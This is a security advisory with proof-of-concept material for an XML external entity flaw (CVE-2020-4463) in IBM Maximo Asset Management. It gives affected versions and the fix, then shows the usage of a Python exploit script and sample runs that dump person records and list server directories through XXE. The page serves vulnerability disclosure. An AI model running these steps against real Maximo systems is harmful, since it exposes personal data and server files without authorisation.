IBM Maximo Asset Management is vulnerable via XXE

13 Aug 2020

IBM Maximo Asset Management is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.

Base Score: 8.2

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

Affected Core Components

IBM Maximo Asset Management 7.6.0
IBM Maximo Asset Management 7.6.1

Affected Products

Maximo for Aviation
Maximo for Life Sciences
Maximo for Nuclear Power
Maximo for Oil and Gas
Maximo for Transportation
Maximo for Utilities
SmartCloud Control Desk
IBM Control Desk
Tivoli Integration Composer

Patched in Version

Fixed Version: Maximo Asset Management 7.6.1.2
prior Versions: See workaround (link below)

PoC

Here now the PoC for the vulnerability. Not only the versions mentioned by IBM are vulnerable. All versions befor version 7.6.0 can be also vulnerable.

The PoC checks 2 vulnerabilities that might be present on the system. A data leakage vulnerability that can be exploited if no authentication is implemented and the XXE vulnerability that can be exploited if a certain value (mxe.int.resolvexmlextentity=0) is not set in the configuration.

Example

Usage

python3 CVE-2020-4463.py --help
usage: CVE-2020-4463.py [-h] [-x [XXE]] [-d [DATALEAK]] [--url [URL]]

CVE-2020-4463 PoC Data Leakage and XXE

optional arguments:
  -h, --help            show this help message and exit
  -x [XXE], --xxe [XXE]
                        XXE (Linux/Windows)
  -d [DATALEAK], --dataleak [DATALEAK]
                        Data Leakage REST request MXPERSON. May take a long
                        time.
  --url [URL]           Target URL http://, https://

If you get following response, both vulnerabilities are not present.

Error 500: BMXAA1268E - No user credentials.

Data Leakage

May take a long time if the database contains many entries.

CVE-2020-4463 git:(master) ✗ python3 CVE-2020-4463.py --url https://10.0.0.1 -d

<?xml version="1.0" encoding="UTF-8"?>
<QueryMXPERSONResponse xmlns="http://www.ibm.com/maximo" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    creationDateTime="2020-11-16T10:42:49+01:0 0" transLanguage="EN" baseLanguage="EN"
    messageID="6927296.160551977018422092" maximoVersion="7 6 20170418-0100 V7608-61" rsStart="0" rsTotal="4374"
    rsCount="4374">
    <MXPERSONSet>
        <PERSON>
            <ADDRESSLINE1></ADDRESSLINE1>
            <CITY></CITY>
            <CLASSSTRUCTUREID></CLASSSTRUCTUREID>
            <COUNTRY></COUNTRY>
            <C_DESCRIZIONE></C_DESCRIZIONE>
            <C_MATRICOLA></C_MATRICOLA>
            <C_QUALIFICA></C_QUALIFICA>
            <FIRSTNAME>Lxxxxxxx</FIRSTNAME>
            <LANGUAGE>IT</LANGUAGE>
            <LASTNAME>xxxxxx</LASTNAME>
            <PERSONID>Lxxxxxxx</PERSONID>
            <POSTALCODE></POSTALCODE>
            <PRIMARYEMAIL>xxxx@xxxx.xxx</PRIMARYEMAIL>
            <PRIMARYPHONE></PRIMARYPHONE>
            <STATEPROVINCE></STATEPROVINCE>
            <STATUS maxvalue="ACTIVE">ACTIVE</STATUS>
            <TITLE></TITLE>
            <USERNOTFTYPE></USERNOTFTYPE>
            <EMAIL>
                <EMAILADDRESS>xxxx@xxxx.xxx</EMAILADDRESS>
            </EMAIL>
        </PERSON>

XXE

CVE-2020-4463 git:(master) ✗ python3 CVE-2020-4463.py --url https://10.0.0.1 -x          

Error 500: BMXAA4160E - A major exception has occurred. Check the system log to see if there 
are any companion errors logged. Report this error to your system administrator.
	/c: &#40;No such file or directory&#41;
Error 500: For input string: &quot;bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost&#43;found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
&quot;

Michael Wollner (@Ibonok)

Telekom Security